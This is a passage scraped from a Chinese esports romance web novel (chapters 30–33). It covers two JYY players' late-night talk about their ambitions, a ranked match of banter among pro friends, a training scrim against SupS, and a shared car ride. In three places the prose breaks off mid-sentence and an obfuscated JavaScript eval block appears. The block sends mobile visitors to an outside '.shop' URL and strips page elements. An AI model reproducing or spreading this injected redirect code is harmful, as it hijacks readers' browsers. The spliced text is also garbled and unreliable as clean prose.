电竞他绝对不可能放弃,这是他过去以及现在最大的梦想,但他需要做一个“如果真的失败成为职业选手”的准备。 所以最后,他决定用学业作为他可能失败做职业选手的一条后路。 这样,他不止给自己的职业道路上留下了一条后路,同时还能安抚父母对他人生规划的担忧。 毕竟读书至少可以让一个人在迷茫的未来上有更加宽阔的选择道路。 郁秋久久不语。半晌,他声音略带沙哑道:“你今天为什么突然想聊这些话题?” 前几天,他们都是熄灯即睡的。 而且,他从没见过夜雨辰这么多话的时候。 夜雨辰耸耸肩:“刚刚和朋友聊了会天,他的样子让我想起了一些自己踏入青训营后的见闻,有点……感慨。” 虽然自己在众人中脱颖而出,但他那是第一次实打实的感受到了年长者的话后寓意。 也是他第一次感受到了自己对社会见闻的“成长”。 郁秋冷哼一声,不平不淡道:“哦,你的小朋友想辍学打职业?他确实有职业的水平。” “不,他完全不想打职业。” 夜雨辰直接否认了,并且补充道,“而且他不小,他和我同岁,他只是一个爱打游戏的学渣。” 郁秋才懒得关注别人咋样。他语气里满是不爽:“你们关系可真好,晚上打了这么久的排位,结果刚刚还有精力玩,还直接玩到了现在。” “嗯,我和他还有另一个人,我们三个是游戏里关系最好的。” 夜雨辰点了点头,浅笑道,“言星奕他对职业无感,所以只有我和另一个人选择了这条道,虽然我和他打职业的目的不同……” 他和言星奕认识的最早,而小U虽然是两年前才认识的,但他们三个一下就玩到了一起,直到现在。 小U就是游戏里那种常见的没有学习天赋却有游戏天赋而且出类拔萃的人。 他既痴迷于赛场的热血,又想要赚钱,所以在两年前他就进了FQ的青训营,直到今年他一到年龄就直接签下FQ的自留签进了战队,而夜雨辰则是今年高考完才进的FQ的青训营。 不过虽然小U今年也是18岁,可他肩上已经开始担任养家赚钱的责任。所以他打职业的主要目的依旧是赚钱。 而夜雨辰和他打职业的目的全然不同。 一想到这个,夜雨辰抬眸,透过黑暗,目光灼灼地对上了郁秋的视线:“郁秋,你打职业的目的是什么?” 郁秋淡漠地吐出两个字:“冠军。” 听上去心情不太好。 “现在也是吗?” “是,但不止。” 夜雨辰一怔。 不止? 打职业除了冠军还会想要什么? 不过这个不是他在意的重点。 “那你这两年打职业的感想是什么?” 郁秋想也没想:“运气不好。” “就这?” 夜雨辰有点难以置信如此简单的答案。 郁秋没忍住轻笑一声:“不然呢?大哭我就该是职业联赛的第一冠军打野?还是凭什么大家都骂我?” 他如果运气好一点的话,也不至于这两年不是上不了场就是遇到这种傻逼老板和某些傻逼队友。 夜雨辰呼吸微微一滞。 半晌,他深吸一口气,试探性问道: “那你觉得,我们这赛季会拿到冠军吗?” 那些一开始信誓旦旦经过一两年拼搏,最终却以失败告终的青训生们,大部分都失去了自己未来职业方向的道路,唯剩迷茫。 而你这两年在圈内的经历,会直接把你的冠军梦磨平了棱角吗? 你现在还有最初的自信吗? “……” 这次,郁秋没有第一时间回答。 房间陷入了一片寂静。 窗外,秋风帮月亮褪去了厚实的乌衣,皎洁的白光透过帘缝洒进了房间,轻铺在二人白皙的面颊上。 夜雨辰好奇地睨了过去,恰好对上了郁秋的目光。 即使在黑暗里,借着那一丝微弱的月光也能看清,那是一双胸有成竹、闪烁着光的眼神。 他轻笑道:“势在必得。” 夜雨辰一怔。 那是他熟悉的、独属于电竞少年们追求的光。 一道畅想自己斩获冠军,名为自信和野心的光。 不知是不是对方这双眸的缘故,他全身不由得战栗了一下,眼神也不由得燃起对未来期待的光芒。 JYY今非昔比,这个战队不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081124|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会再遇到队内人员的阻碍,他们可以完全酣畅淋漓地发挥出自己的本事。 队内的成员本就是已经超越了游戏里大部分自诩天才的玩家,在其的成就甚至是其他选手望尘莫及的。 他们全都是各凭出色的本事成为了千万玩家里的顶尖天花板。 虽然职业选手里不缺天才,更不缺怪物,每个战队都是卧虎藏龙。 但天才也会相较,怪物也会厮杀。 何况,他们俩在游戏圈里都是罕见型的天才和怪物。 就算战队现在是联赛的吊车尾又如何?他们这赛季必将翻身给所有人看。 他们一定会和战队一起拼搏到最后,享受冠军。 但是,在此之前…… 夜雨辰没忍住发出一声嗤笑,重新躺了下来,手枕着头:“先把我俩配合练好再说这些吧,不然就只有睡觉垫高枕头做美梦的份。” 人还是要有自知之明的。 以他们俩现在训练赛次次吵架到差点打起来的配合度,冠军简直就是痴人说梦。 想到这个,他暗暗地叹了口气。 本来以为他在队里会和郁秋的配合是最快适应的,毕竟巅峰赛他们俩撞车从没输过,也跟得上对方的想法思路,结果这几次训练,对手变成了五个经过专业训练的职业选手,可以随意化解他们俩的攻势,特别是他的独行侠打法。 可他还是不甘心自己的打法就这么被轻而易举地破解了。 他总是无法克制住想操作的心,而郁秋因为会把团队和巅峰赛打法分开,所以在团队赛里,他们俩常常配合不上对方。 所以最后,他俩反而变成了队内最难磨合的二人。 郁秋挑眉:“这东西需要时间,但我觉得这一个月够了。” 夜雨辰心领神会,翻了个身,懒懒道:“那就加练咯,我尽量调整打法。” 他现在最需要的就是将他锋利的枪刃磨软一些,直到能和队友完美地组装在一起成为唯一一把剑刃那种。 郁秋眸光一闪,提出了一个主意:“那要不这样,反正咱们也要帮朋友上上分,所以来多打打双排练练配合?” 夜雨辰呵了一声,反问道:“只是双排?” 郁秋一本正经:“嗯,顺便开个直播。” 顺便? 夜雨辰轻啧道:“算盘珠子简直崩我脸上了。” 明显就是想混直播时长,还非要拿打双排来做借口。 不过,转念一想,他以后还要给“朋友号”打不同英雄中路的国标,言星奕刚好已经开学没时间陪自己打排位,而小U不仅和自己撞位置,在战队似乎也很忙,回复他们的时间都变少了,所以也不方便陪自己打。 而如果现在郁秋能和他一起打排位。一个游戏里常常稳坐全国第一位置的国服打野做自己的固定双排队友,那他排位的上分效率肯定比单排高。 而且,他们俩确实还可以借此多磨练磨练配合。 好像确实是有利无弊。 几番斟酌后,夜雨辰敲下决定: “那就这样吧,以后排位叫我。” 31. 第 31 章 几天后。 夜雨辰由于上周的账号拿下了一个出色的结果,所以号主就让他继续打这个号,根据他打出来的成绩来结账。 今晚,他打的就是“朋友号”。 他一如既往的边打巅峰边刷直播时长。 这个号的分数已经被他打上了全国前五十的排名,所以巅峰赛排的是顶端局的水准。 刚进bp界面,他就发现自己在三楼,和五楼撞了中路的位置,二楼和四楼则是撞了射手位。 所以这把至少有两个人要去补其他位置。 五楼见位置一撞,而且自己楼层还低,立马打开麦克风商量:“兄弟兄弟,我国服中单,能赏个脸给个位置吗?我包c的。” 夜雨辰眨了眨眼:“报名。” 他这把不是非玩中单不可,如果五楼是国服中单,那一定是高手,而高手圈里大家就算互不相识也会略闻大名,那他还是很乐意不争中路位置去混一把分补位的。 五楼毫不犹豫:“JYY的Night。” “?” 他怀疑自己幻听了。 你是Night,那我是谁? 他蹙眉,打开麦克风:“你——” “你是Night,那我是谁?” “???” 他看着二楼头像框闪烁的麦克风以及传出的声音,眼里满是震惊。 怎么把他的台词抢了? 五楼不悦道:“不是,二楼你一个玩射手的冒充我干嘛?不知道Night是玩中单的吗?关公门前耍大刀?” “…………” 夜雨辰不禁扶额。 哈哈,这两人。 他叹了口气,嘴角挂上一抹无奈的笑容,“我是One,国服射手,五楼能给个面子让我玩中路吗?” 还没等五楼回答,二楼急忙开口:“别,我玩射手,别听他瞎说。” 夜雨辰好笑道:“那你装Night干嘛?一个玩射手的报中单玩家的大名。” 这二楼一说话他就听出来了对方的声音——他们战队刚回归的新射手,JYY.One。 估计现在正在自己隔壁同样开着直播呢。 One唏嘘道:“这不是看你被冒充了嘛?我这不得为队友出出头。” 夜雨辰嘴角一勾:“什么冒充?五楼不就是Night吗?” One:“????” 夜雨辰十分认真道:“我不是Night,我是FQ的小U,Night的好大儿。” 五楼:“去你丫的夜雨辰,闭嘴。” 夜雨辰实在没忍住笑出了声。 小U的声音比较偏大众加上他们俩最近联系的比较少,所以他没第一时间认出来,但他一听到这个一如既往用错词的句子,他就瞬间认出来了这个冒充自己的人究竟是谁。 四楼听到队友的动静,也跟着打开了麦克风:“卧槽,夜哥和小U,真是你们俩啊?这把是熟人局啊,我还以为我听错人了。” 小U一听出声音就立马打了个招呼:“嘉辉也在?这么巧,咱们都排在一边了。” 嘉辉是和他们俩同一届毕业的青训生。 嘉辉好奇道:“所以二楼是One哥?” 夜雨辰:“嗯。” 嘉辉立马放低姿态:“One哥您打射手,您打您打,我去打野。” 小U低笑一声:“出息。” 不过One的声音戛然而止,没有在游戏里给出任何回应。 “O..One哥?” 嘉辉小心翼翼地试探道。 “嘎吱!” 突然,一道开门声在夜雨辰的房间响起,紧接着,一道疾步声伴随着一股劲风,迅速冲到了他的身侧。 一股刺鼻的甜锈味随之钻入他的鼻腔,下一秒,他的肩膀被用力地拍了一巴掌:“我就说我不会认错人!你还说你不是Night,耍我呢?我听到你否认的第一时间就跑了过来看看虚实。” “……”夜雨辰缓缓转过椅子,满脸无语地看着脸上满是得意笑容的闯入者,揉了揉肩,“你就不能选完英雄再来看吗?直接浪费一个ban位给对面,等下你坐牢可别怪我。” 这跑个房间的时间直接让他们队少一个人ban英雄。 One手上的训练机显示着自己的游戏bp界面,但他看也不看一眼:“不行啊,一个ban位而已,让让对面咋了?我现在等不及求证,弹幕全在笑我认错人当小丑,我这不是要立马给他们自证我的清白?” 夜雨辰挑眉:“那四楼说他去玩打野,射手位给你,你听到了吗?” One一本正经:“没有。” “……”夜雨辰默默地关闭了游戏组队和直播间的麦克风,顺便把手机声音调成静音,小声道,“四楼是你的粉丝。” One眼睛一亮:“哦?真的?那我这把可要好好表现了。” 他可最喜欢在局内的粉丝面前好好操作了。 “嗯,他是因为你所以开始打的职业,”夜雨辰点了点头,然后抬眸,眉宇间藏着一股怒气,笑眯眯道,“所以你现在能选英雄了吗?” 又是不ban英雄又是不选英雄的,还想不想赢了? “哦对,差点忘了!”One这才想起来并直接拿起手机。 他手忙脚乱地刚准备锁下t0射手公孙离,结果选英雄的倒计时刚好结束,系统默认给他选择了一个李元芳。 One的手一僵:“……” 完了,傻逼系统怎么给他选了个牢芳? 夜雨辰静默地看着二楼已经锁下的李元芳几秒,然后看了一眼对面选定的阵容,眨了眨眼,再抬眸看向脸上突然失去所有表情的One。 他的眼里闪过一抹幸灾乐祸的笑意,怒气顿时消散,毫不犹豫地锁下辅助大乔,面无表情道:“你这把自求多福吧。” “……” One绝望地看着对面选出的天克李元芳的阵容,以及听着Night语气里似是充满了无能为力,知道自己这把无论如何一定是牢底坐穿的局面。 但他还是脸上僵硬地扯出了一个笑容:“要、要不你还是管管我?其实我觉得这把应该可能大概还有救?” 夜雨辰面不改色地再次揉了揉还在隐隐作痛的肩膀:“尽量尽量,快回你房间吧,我这可没位置让你坐着打。” 然后,他重新开启了游戏的麦克风和直播的声音,不管不顾One,和好兄弟叙旧了。 夜雨辰微微一笑:“我躺好了Night,这把靠你了。” 小U笑道:“带飞了你请客吗小U?” 夜雨辰:“那必须请,咱们选秀大会后还没吃过庆功宴呢。” 嘉辉:“加我一个,想见兄弟们了。” 这时,One也重新回到了自己的房间并在局内继续沟通:“你们好热闹啊,又在聊什么?” 夜雨辰淡漠道:“叫中单趁你死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081125|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候把你线全吃了。” One震惊:“不是吧,你这把都打算放养我了还想着吸我血?你是人吗Night??我还是不是你队友了??” 嘉辉立马开口:“没事One哥,你来吃我野区发育,我野区给你吃,保证你经济嘎嘎第一。” 小U幽幽道:“你想得美,我要做中单皇帝大吃特吃,你和射手就想着一起凑钱合理购买一个复活甲吧。” 一直无法插嘴的路人一楼:“……” 一把游戏排了四个职业选手做队友 ,按道理来说他应该高兴可以躺赢了。 但是这四个职业的聊天氛围简直像在打四排似的,他连想谄媚或要个好友位的机会都没有。 感觉自己被排挤了。 * 这把巅峰赛,他们五人都打得津津有味。 夜雨辰的大乔节奏碾压、小U的猫咪输出拉满、嘉辉的东方镜对位压制、路人的老夫子只用无脑带线开团,和One的李元芳前期四分钟至少面临了三次的一打四的场景。 游戏一拿下胜利,One就立马下播跑到了JYY的战队群—— 【One:世上只有小千好,没千的射手像孤儿@Qian。/哭泣/哭泣】 【Qian:?】 【Qian:你又发什么癫?】 【One:Night欺负老人,他巅峰玩辅助放养我一整把坐牢!!】 【Q:怎么说?】 夜雨辰看着这些消息,嗤笑一声,把战绩面板直接丢进了群里。 【Night:没办法啊,这把帮边路随便打的,你们看这阵容,放养One哥是因为我相信他不会炸,相信队友。】 他是对队友的实力充满了信任,绝对不是因为报复。 【LL:确实,这把李元芳不好打,只能让他自己玩,反正One的抗压能力也是拉满的。】 【One:……】 【One:郁秋你们俩不是住在一起吗?下次你俩吵到动手的时候能不能带我一份力揍他?】 【Night:郁秋打不过我】 【Q:不打架,队内讲究和平。】 【One:什么意思,你俩真打起来过啊??】 【Night、Q:没有】 游戏归游戏,大家都是文明人,吵吵架就够了,不至于真的动起手来。 【One:还有,现在的职业新生怎么一个个压迫感这么强?那个冒充Night的就不说了他主中单的,但这打野不是主玩射手的吗?怎么他打野也这么强?直接对位压制了五千经济我滴个乖乖。我可不会玩打野啊,他真的是我的粉丝?】 【Night:如假包换】 小U跟他说过,嘉辉在青训营的时候常常开口就不离One,而且他的梦想就是和自己的偶像在赛场上对线。后来,他听到One的战队连系败北然后发布半退役公告的时候还难受了很久,但又一直觉得One一定会重新复出赛场。 【One:我只是退了半年赛场而已,怎么新生现在都进化成这样了?】 【Night:嘉辉是这届青训榜眼,实力毋庸置疑。】 【One:这么厉害,那他最后进了哪个队?】 【Night:SupS】 【LL:SupS终于买新人了?打算这赛季冲刺A组不摆烂了?】 【开开:那不就是我们周五训练赛的对手吗?】 32. 第 32 章 隔天,JYY的训练室里,五名队员屏息凝气,看上去沉着冷静,但他们的心跳声却似战鼓在耳边不停地擂动,愈来愈激烈。 他们正在和SupS打训练赛,现在已经是开局接近18分钟。 Qian尽量保持着自己冷静:“来来来,来冲一波对面红区,对面不想放这个红的。” 他在河道卡好了视野,蓄势待发。 对面是四保一射手阵容,保人能力极强,而且越往后期拖,对面的团战能力就会越强。 JYY虽然这把打出了大顺风,但高地他们已经推了五分钟都没机会攻下,只能眼睁睁地看着对面射手发育成型,与他们势均力敌。 所以现在,他们只好想办法把对面勾引出来,让他们离开高地塔的庇护进行团战。 而敌方红buff的刷新,就是一个机会。 对面的射手已经买下了六神装,所以,SupS都会渴望这个能让射手团战战力大增的红buff。 其他四个队友均做好了准备。 开开浅浅绕了个位置:“来了来了我来了。” One距离Qian的辅助有一段距离,顺便提醒一嘴:“小心红背和对面打野绕后,一分钟没漏视野了。” “没事,我卡他,红背他们不敢站的。” 郁秋在战场的右侧卡好了团队的位置,能保证自己在团战有机会打出收割作用的同时,防止一手对面打野会从侧面攻入的可能性。 夜雨辰没有说话,只是偷偷地绕到了战场的左侧发了一个信号。 【“闪现”准备就绪!】 五人等待着红区的刷新。 “嗷呜————!” 在buff刷新前的两秒,辅助装“奔狼”的特效声在他们的界面响起,如同战争的号角吹响,全队士气原地拔起。 五个英雄同时被覆盖上了加速buff,从三个不同的方位冲向红区,开启一场筹谋已久的突袭。 他们的小地图上,在出现对手视野其中包括射手的刹那,Qian就毫不犹豫地直接闪现到对方脸上,并使用开团技能控制住了对方,就好像他早已猜到敌人的视野会第一时间从这个位置出现。 于是,他直接刚好眩晕到了三个人,其中就包括对面射手。 Qian眼里不由得亮起一抹团战胜利的曙光,大吼道: “快跟快跟!我开到了射——!” 突然,他脸色骤变。 开团技能连招已经全数用完,但他发现,他其实只开到了两个人——单挑能力极强的老夫子和最适合打反手的张飞。 对面的射手不见了,亦或是说,他躲掉了。 没开到人,他们得赶紧撤退,不然以对手的反打能力,他们这波团战必败无疑。 但来不及了,开开和One已经冲到了他的身边跟控制和伤害。 他们俩在Qian冲上去给到对面视野包含射手的时候,就下意识断定射手已经被开到,并果断地使用位移技能突了上去,意图将这个射手直接秒杀。 可谁都没想到,对面孙尚香的站位竟然只是个诱饵。 他在看到Qian的辅助后不过0.1秒的反应就使用了闪现,瞬间拉开距离闪到了团队安全的后排位置,背靠自家高地塔。 是JYY几个人现在绝对碰不到的位置。 而他们三人的位置,特别是Qian和开开,他们现在直接被王昭君的大招覆盖而下,被强行减速的同时还被老夫子和张飞的反手控制限制在了原地。 本来信誓旦旦地突袭团战,瞬间陷入了逆风。 没有人想到这个射手反应竟如此之快,也没有人能想到他作为四保一的大核居然敢冒这么大风险以身入局。 他像早已得知JYY会从这个位置出现一样,就站在这视野的边缘引诱着他们向前冲,勾引着他们深入敌军。 毕竟SupS这种阵容,射手一死,剩余的四人在大后期只会是待宰的羔羊。 所以,JYY拿红引诱对面走出高地塔下的庇护,却没想到,SupS同样也在拿红当诱饵勾引他们踏入陷阱。 两边都想打架,一个想靠着这波团战一波对面,一个想靠着这波团战吹响翻盘的号角。 开开和Qian的技能正在cd中,只能眼睁睁地被看着自己被老头控制,被张飞眩晕,他们俩的血条瞬间被消耗了大半,只能原地垂死挣扎几下。 而造成这一局面的罪魁祸首却站在最安稳地后排安心输出。 One因为保持着玩射手的习惯,冲刺的时候依旧会下意识地站在较为安全的位置,所以他并没有在第一时间被敌方的反击控制住,而是在不停地消耗敌方前排打输出。 但同时,他也一直在提心吊胆。 对面的打野老虎到现在还没露头,所以他现在输出活动范围都少得可怜,因为能保他的两个队友现在都自身难保。 最关键的是,对面双c的站位在他们三碰不到的地方,只要开开和Qian坚持不住,那下一个暴毙的一定是他。 他们三个几乎已是强弩之末。 不过,夜雨辰在这时终于偷偷摸到了敌方的超后排——一个可以碰到敌方双C的位置。 他在看到嘉辉射手漏视野的瞬间,就反应过来他又打算以身诱敌来骗Qian他们的技能了,所以他并没有第一时间在正面跟上伤害。 他抓着孙尚香闪现和一技能刚使用完、卡着王昭君刚好抬手释放技能的时候,毫不犹豫地闪踢进场,同时踢到了两个人。 但他在刚碰到对面王昭君的衣角、火舞大招伤害刚生效的时候,下一秒,对面王昭君由于出的抵抗鞋,可以边被控制边释放技能,他直接把冰冻人的二技能丢在了孙尚香的脚下——火舞大招的必经之路。 火舞一直在找机会行刺,对面法师同样在时刻防备着他的突袭。 为了自己不被控在原地成为孙尚香的活靶子,夜雨辰不得不使用金身规避这个冰冻控制,可这也相当于,他的技能连招被打断了。 而且,金身生效的这几秒代表孙尚香的位移cd已经好了,可以立马拉开和他的距离,并把他立马反杀。 但,夜雨辰眼里丝毫没有慌张,反而嘴角一勾。 果不其然,孙尚香直接向火舞进攻的反方向翻滚,拉开至火舞无法攻击到自己,却又保证能成功反杀的距离。 但他刚翻滚到一半,屏幕里不知道从哪里突然闪进了一个东方镜出现在了他的位移的过程上,并把他定身在了原地。 他像是直接位移接住了东方镜的大招里似的。 东方镜不到一秒的时间用至少三个技能连招穿插普攻,将伤害打到最高,让他连秒换复活甲的手速都没跟上,就直接把他秒杀了。 两个刺客,目标从始至终都只有一人。 他们的目标是——一击毙命。 郁秋在团战的右侧,隔着中路卡着视野,一直等待着机会。 他本来在Qian开团的第一时间就想跟上,但他注意到了夜雨辰并没有第一时间跟团的想法,而是还在藏视野绕后,就明白了夜雨辰对这波团战有与众不同的想法,所以将自己的冲动压了下去,跟着一起继续绕后。 对面的打野他大概知道在哪,所以他同时在防着自己被对面获取视野。毕竟击杀对面打野一直不是他主要的分内之事。 他只在等待着对面双c那一瞬间的破绽。 JYY的射边辅在正面骗出了孙尚香的闪现,王昭君、老夫子和张飞的留人技能以及大招;夜雨辰的火舞将王昭君最后保人的控制技能,以及孙尚香的刚刷新好的位移技能逼了出来,此时,就是个最佳的动手机会。 刚好,这时候对面还刷出了一波兵线,所以,他借着兵线为踏板,从中路高地的位置直接闪到了孙尚香的面前将之秒杀。 对面的老虎的主要目标自然也在One的身上。 他早就在正面敲响反击的战鼓的时候,直接冲刺到了One的脸上。 但是他却没想到,One像早就料到他会从哪出现一样,防备之心也如此之高,让他完全没机会动手直接秒杀,只能拉扯博弈,久而久之,他反而得来了自家射手阵亡的噩耗。 大核输出一死,其余四人溃不成军。 王昭君由于技能空窗期,被夜雨辰轻而易举地击杀,老夫子和张飞被火舞和东方镜后方包抄,不得不阵亡,只剩一个打野独苗逃之夭夭。 SupS这一波的放手一搏,让他们这把不再有任何翻盘的可能性。 JYY是不会给这个打野一打五的机会的。 “Aced!” “Victory!” 看着屏幕上的胜利,每名队员终于松下一口气,放下手机缓缓神。 夜雨辰松下紧绷的肩膀,郁秋仍是一副怡然自得的模样,二人无话。 开开伸了个懒腰:“吓死我了,我还以为这波炸了要被翻盘了,一个训练赛打这么刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081126|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激。” 开团的始作俑者Qian闷闷不乐道:“我的。” 这波要不是他开到了两个大肉,他们的突袭也不至于瞬间陷入逆风。 One在旁边看着刚刚的对局回放,不禁夸赞道:“这个嘉辉太敢操作了,而且他对线给我的压迫感拉满了。” 零落同样叹为观止:“他对自己的反应太有自信了,谁也没想到团队里唯一的大核敢玩这种以身诱饵的战术。” 郁秋不由得把偏头看向身边的青年。 夜雨辰和嘉辉都是职业新生,都喜欢这种以身试险的打法。 所以这最后一波的团战,嘉辉的操作差点直接骗到了JYY全部人的技能;而夜雨辰也直接绕后到了最后,差点直接秒杀对面双c。 两个人行为上看似都很冲动,但实际上都是深思熟虑,并有十足的自信。 但两边团队的成员同样未雨绸缪,所以,SupS所有保射手的技能释放的不过几秒的空白,才被郁秋瞬间抓住了机会一下毙命;而夜雨辰这个自信到让对手无法察觉到的绕后位,还是被王昭君一直死死地捏着的二技能逼到不得不使用金身,差点原地等死。 One看向坐在自己对面的青年,感叹道:“后生可畏啊,怪不得你们俩能玩到一起,是真的敢打,赛场上我是真不敢这么操作。” 夜雨辰并没有被前辈夸赞的任何喜悦。 他的脑海里依旧在复盘刚刚的团战。 虽然他们的配合打出来了,但是他的绕后还是被防备了。 职业的训练赛真的和巅峰赛以及青训营的训练差太多了。 如果不是这几天和郁秋一起玩的比较多,两人对对方的打法逐渐了解并开始习惯,那他们俩这波一定打不出这个配合的。 开开伸了个懒腰:“啊,今天训练赛结束的好早,才八点,我要赶紧去刷巅峰场次了,不然这周达标不了了。” Qian冷哼一声:“要你天天想着打瓦。” One正活动着自己的手腕:“我也是,这几天打得比较少。” Qian意味深长地看了他一眼:“你还是好好休息吧。” 夜雨辰看了一眼打闹的三人,和正在目不转睛看对局回放的零落,站起身,淡淡道:“那我先走了。” 他已经提前和他们打了招呼,说今晚出基地有点事。 郁秋同样起身:“我今晚也有事,凌晨不排了。” 开开看着如此同步地两人:“你们俩是要去约会?” 训练室突然安静了一瞬。 郁秋身形一僵。 夜雨辰挑眉:“?” 零落闻声抬眸,一副探究的视线看向这几人,Qian没忍住扶额叹了口气。 开开感到疑惑:“你们怎么突然这副模——,哎老千你拽我干嘛?” 话还没说完,Qian就一把抓住了他的衣服,满脸无语道:“你能不能动动脑子,他俩天天宅在基地里看上去有对象吗就约会?而且还敢直接在零落面前大声密谋?” 零落在训练期间抓队友谈恋爱可是很严的。 One干咳两声,解围道:“虽然郁秋我不知道是去干啥,但Night是和我们刚刚的对手约了饭局。” 开开恍然大悟:“原来如此,那Night就是去约会啊。” Qian一噎:“……” 原来你的约会是指和朋友有约的意思吗? 郁秋眉宇间闪过一丝不耐。 “等等,One,想麻烦下你。” 夜雨辰突然想起来了一件事。他拿了一张训练室里的空白A4纸递给了他:“能给个签名吗哥?嘉辉想要你的签名。” 郁秋视线不经意间瞥向二人接过的纸张,眸光愈发幽深。 趁着One在签名,零落提醒夜雨辰道:“你在这里打车一般要等个二十分钟,现在打车来得及吗?” 夜雨辰完全不担心此事:“郁秋说他顺路送我。” 昨天他问过郁秋这里怎么打车方便,然后对方就直接跟他说他刚好在他们选的饭店附近有事,所以可以顺路捎一下他。 One闻言,诧异地看向郁秋:“咱们的队长买车了?啥时候的事啊?” 开开眼里亮着星星眼:“秋哥这么有钱?买了什么车啊?” 郁秋随口道:“小车,奔驰e300。” 除了夜雨辰,其他四个队员愣在原地。 您管一辆50万的车叫小车? 33. 第 33 章 “所以,你到底是什么时候买的车?” 夜雨辰坐上副驾驶系好安全带后,略带好奇地看向坐在驾驶位的郁秋。 他记得他刚来基地的时候,这个停车位是空的,而那天郁秋人是已经呆在基地里的,说明这辆车是最近才出现的。 所以他究竟是从哪里变出来的一辆价值50万的车? 郁秋调试着后视镜和车的座椅靠背:“朋友的,他车多,刚好今天我有事所以就借了一辆。” 怪不得。 夜雨辰沉默了半晌:“那你这么晚了还去市区那边是有什么事?” 郁秋启动引擎,冷哼一声:“约会呗。” “……”夜雨辰意味深长地看着对方。 自从上周到基地后一直到今天,他几乎是没出过门的,郁秋却反之,常常出门。 而且在职业圈里,一名职业选手谈恋爱其实是件很普遍的现象。 所以他出门的时间都是去和别人约会了吗? 真有胆量。 要知道,不管是谁,一名队员在战队训练和比赛期间开始一段恋爱关系可是每个战队的大忌,何况他们战队也有这个禁令。 * JYY基地离市区有不小的距离,在这四十分钟的车程里,郁秋的车技又稳又快,而夜雨辰一开始还会偶尔看看手机里弹出的微信消息,后来他直接小憩了过去。等他醒来时,车上自带的导航系统显示他们已经快到达目的地了。 这时,车刚好在等红绿灯,郁秋也因此注意到身边的人醒来,偏头看去:“你过会打算怎么回基地?” 暖黄色的路灯透过车窗轻洒在夜雨辰的面颊上,由于刚睡醒,他一时还没缓过神,揉了揉眼睛,声音略带沙哑:“打车。” 看着对方这副睡眼惺忪的模样,郁秋呼吸微微一滞。 他迅速瞥开视线,若无其事道:“你确定?从这打车回去加上是夜班车可是很贵的,至少一百块。” 夜雨辰的手一僵。 突然就清醒了。 郁秋似是不经意地提了一嘴:“我过会回基地可以带你一起的。” 夜雨辰蹙眉,满眼狐疑地看着他:“你不是约会吗?” 而且现在还是晚上九点,那和别人约会结束起码也要到凌晨了吧? “……咳咳咳。”郁秋没忍住干咳了两声,面不改色道,“小问题,今晚能回去的。” 夜雨辰的脸色不禁怪异了起来。 这人不会为了回基地约会约到一半放别人鸽子吧? 那还挺过分的。 但郁秋似乎对自己的这个行为完全不以为意:“所以你怎么说?” 夜雨辰毫不犹豫:“我自己回。 ” 虽然有免费的车可以蹭,但他现在无法确定自己什么时候结束这顿饭局。 他不喜欢等别人,也不喜欢让别人等他。 “行。” 郁秋眼里闪过一抹遗憾,“那如果有事你可以和我打电话。” 夜雨辰嗤笑一声:“别关注我了,好好关注你的约会吧。” 约会前怎么一个劲想着别人过会怎么回基地啊? 郁秋一噎。 这小子是真信他过会是要去约会了。 他之前不是挺聪明的吗?怎么现在连自己的真话假话都分不出来了?? 此时,车刚好到达了目的地。 夜雨辰迅速下车,在关门前,他回首,手抓着车顶俯下身看向正满眼复杂地看着自己的司机,丝毫没察觉对方的不对劲,嘴角微微勾起:“谢了。” 说完,他便关上车门,径直走向那个已经坐在室外桌前正等着二人到来、穿着米色T恤的白瘦青年旁。 夜雨辰拉开椅子,看着桌上放着接近几十个正在烤的各式各样的肉串,挑眉道:“就我们三个吃得了这么多?而且嘉辉怎么还没来?” SupS的基地在市区,按理来说,嘉辉到的速度应该会比他快才是。 “不知道啊,估计临时有事吧。”小U耸耸肩,他扭头看向刚刚夜雨辰下的那辆正驾离的车尾,感慨道,“夜少阔气,打个车都要做豪车,我什么时候才能过上和你一样的生活啊。” 夜雨辰喝了口水,淡淡道:“蹭车的,我们基地那位置难打车。” “蹭车?”小U惊讶道,“你战队队员的车?” 这么豪气? “嗯。” “谁的?” “郁秋。” “?”小U双眸瞪大,倏地一下拍桌站了起来,“你说谁??” 看着自己好友如此震惊的模样,夜雨辰眨了眨眼:“郁秋啊。” 有什么不对吗? 小U不可置信道:“你居然会蹭他的车?谁提出来蹭车的?” 夜雨辰不解道:“怎么了?他提的,我想着省时又顺路就答应了来着,他刚好在附近有事。” 其实还有省钱。 